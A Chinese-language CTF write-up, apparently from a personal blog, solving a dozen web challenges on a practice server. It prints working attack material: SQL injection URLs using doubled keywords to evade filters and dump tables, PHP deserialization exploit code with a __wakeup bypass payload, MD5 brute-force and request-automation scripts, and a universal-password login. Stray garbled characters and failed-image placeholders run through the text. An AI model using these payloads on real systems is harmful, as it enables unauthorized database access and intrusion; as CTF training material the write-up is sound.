我的博客:https://yml-sec.top
有的圖片上傳失敗了析校,可以去我的博客看原文。
web1
題目代碼
看到extract函數(shù)侮腹,聯(lián)想到常見的變量覆蓋漏洞
根據(jù)我以前寫的文章
可以構(gòu)造$b為任意值,后面判斷了a和c是否相等,可以使用偽協(xié)議來做
web11
打開題目顯示如下
標(biāo)題為robots,嘗試訪問robots.txt几睛,訪問后提示我們shell.php
訪問shell.php
[圖片上傳失敗...(image-437e26-1556463025859)]
這塊校驗和西湖論劍的留言板題目很像,爆破腳本
import hashlib
def md5(key):
m = hashlib.md5()
m.update(key.encode('utf-8'))
return m.hexdigest()
for i in range(1000000000):
if md5(str(i))[0:6] == 'dc7dc4':
print(i)
break
結(jié)果如下
[圖片上傳失敗...(image-107f9a-1556463025859)]
輸入爆破出來的數(shù)字即可得到flag
web13
提交數(shù)據(jù)抓包粤攒,發(fā)現(xiàn)了base64加密的password
解密后是一個flag,但是提交發(fā)現(xiàn)并不正確所森,仔細(xì)觀察數(shù)據(jù)包會發(fā)現(xiàn)一個hint
Hint: Seeing is not believing, maybe you need to be faster!
嘗試將假flag中的字符串當(dāng)做密碼提交
[圖片上傳失敗...(image-de8877-1556463025859)]
提示我們要快一些,這樣寫腳本就可以了
import requests
import base64
import re
url = "http://123.206.31.85:10013/index.php"
s = requests.session()
html = s.post(url,data={"password":"123456"})
#print(html.text)
password1 = html.headers['password']
password2 = base64.b64decode(password1)
re_str = re.compile('flag{(.*?)}',re.S)
password = re.findall(re_str,str(password2))
print(password[0])
html = s.post(url,data={"password":password[0]})
print(html.text)
web18
題目是一道sql注入夯接,過濾了and or select union 這些可用雙寫繞過
判斷列數(shù)
http://123.206.31.85:10018/list.php?id=2' oorrder by 3--+
[圖片上傳失敗...(image-4d7008-1556463025859)]
在判斷為4時頁面無返回
所以我們得到列數(shù)為3
查詢數(shù)據(jù)庫名
http://123.206.31.85:10018/list.php?id=-2' uniounionn selecselectt 1,database(),3--+
[圖片上傳失敗...(image-4f7fe1-1556463025859)]
查詢表名
http://123.206.31.85:10018/list.php?id=-2' uniounionn selecselectt 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='web18'--+
查詢列名
http://123.206.31.85:10018/list.php?id=-2' uniounionn selecselectt 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name='flag'--+
獲取flag
http://123.206.31.85:10018/list.php?id=-2' uniounionn selecselectt 1,flag,3 from flag--+
[圖片上傳失敗...(image-8c4766-1556463025859)]
web20
題目如下
常規(guī)編寫腳本即可焕济,key=密文
import requests
import re
while(1):
url = "http://123.206.31.85:10020/"
s = requests.session()
html = s.get(url)
re1 = re.compile('??(.*?)<br/>',re.S)
result = re.findall(re1,html.text)
url2 = url+"?key="+result[0]
html1 = s.get(url2)
print(html1.text)
有一點要注意,這題目的flag是有幾率出現(xiàn)的盔几,需要多跑幾次
[圖片上傳失敗...(image-a7d5c6-1556463025859)]
web25
web3
定位到上傳界面
[圖片上傳失敗...(image-95ffae-1556463025859)]
觀察鏈接聯(lián)想到文件包含漏洞晴弃,可以使用偽協(xié)議讀取
用掃描器掃描發(fā)現(xiàn)flag.php文件,開始利用偽協(xié)議讀取
[圖片上傳失敗...(image-a76a38-1556463025859)]
解密后得到flag
[圖片上傳失敗...(image-91bc21-1556463025859)]
web4
題目是一個登錄框,嘗試使用萬能密碼登錄
提交后竟然登錄成功上鞠。际邻。。旗国。枯怖。
web15
提示vim編輯器,想到臨時文件swp
輸入swp提交
將1改為i成功解出題目
[圖片上傳失敗...(image-dc4161-1556463025859)]
web22
web21
訪問題目查看源碼
[圖片上傳失敗...(image-cf963-1556463025859)]
讀取class.php的源碼
[圖片上傳失敗...(image-d284cb-1556463025859)]
<?php
error_reporting(E_ALL & ~E_NOTICE);
class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
?>
提示我們有f1a9.php能曾,這段代碼可用反序列化利用
<?php
error_reporting(E_ALL & ~E_NOTICE);
class Read{//f1a9.php
public $file = "f1a9.php";
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
$a = new Read;
echo serialize($a);
?>
[圖片上傳失敗...(image-2384ba-1556463025859)]
最后payload
[圖片上傳失敗...(image-bf06d9-1556463025859)]
web23
題目主頁面如下
[圖片上傳失敗...(image-7742dc-1556463025859)]
使用掃面器掃出如下頁面
[圖片上傳失敗...(image-2857d9-1556463025859)]
readme.txt有如下提示
[圖片上傳失敗...(image-bd324e-1556463025859)]
用戶名是admin 密碼是三位數(shù)字度硝,我們可以用burp爆破
[圖片上傳失敗...(image-d4b986-1556463025859)]
成功登陸后得到flag
[圖片上傳失敗...(image-f29dbb-1556463025859)]
web7
注冊登陸后,提示權(quán)限不夠
嘗試抓包
看到u和r的前幾位是一樣的寿冕,后面不一樣的部分像是MD5加密后的字符串
在線解了一下
[圖片上傳失敗...(image-f1c710-1556463025859)]
嘗試把兩個部分都換成admin的MD5加密字符串
[圖片上傳失敗...(image-e8f8e2-1556463025859)]
得到FLAG
web12
題目如下
[圖片上傳失敗...(image-68716c-1556463025859)]
查看源碼
[圖片上傳失敗...(image-eddcb8-1556463025859)]
class Time{
public $flag = ******************;
public $truepassword = ******************;
public $time;
public $password ;
public function __construct($tt, $pp) {
$this->time = $tt;
$this->password = $pp;
}
function __destruct(){
if(!empty($this->password))
{
if(strcmp($this->password,$this->truepassword)==0){
echo "<h1>Welcome,you need to wait......<br>The flag will become soon....</h1><br>";
if(!empty($this->time)){
if(!is_numeric($this->time)){
echo 'Sorry.<br>';
show_source(__FILE__);
}
else if($this->time < 11 * 22 * 33 * 44 * 55 * 66){
echo 'you need a bigger time.<br>';
}
else if($this->time > 66 * 55 * 44 * 33 * 23 * 11){
echo 'you need a smaller time.<br>';
}
else{
sleep((int)$this->time);
var_dump($this->flag);
}
echo '<hr>';
}
else{
echo '<h1>you have no time!!!!!</h1><br>';
}
}
else{
echo '<h1>Password is wrong............</h1><br>';
}
}
else{
echo "<h1>Please input password..........</h1><br>";
}
}
function __wakeup(){
$this->password = 1; echo 'hello hacker,I have changed your password and time, rua!';
}
}
if(isset($_GET['rua'])){
$rua = $_GET['rua'];
@unserialize($rua);
}
else{
echo "<h1>Please don't stop rua 233333</h1><br>";
}
常規(guī)的反序列化操作蕊程,計算符合條件的時間
exp
<?php
class Time{
public $time;
public $password;
public function __construct($tt, $pp) {
$this->time = $tt;
$this->password = $pp;
}
}
$password = array(0=>'yml');
$time = '0x4c06f351';
$yml = new Time($time,$password);
echo serialize($yml);
?>
payload
繞過wakeup
O:4:"Time":3:{s:4:"time";s:10:"0x4c06f351";s:8:"password";a:1:{i:0;s:3:"yml";}}
得到flag
[圖片上傳失敗...(image-12bfae-1556463025859)]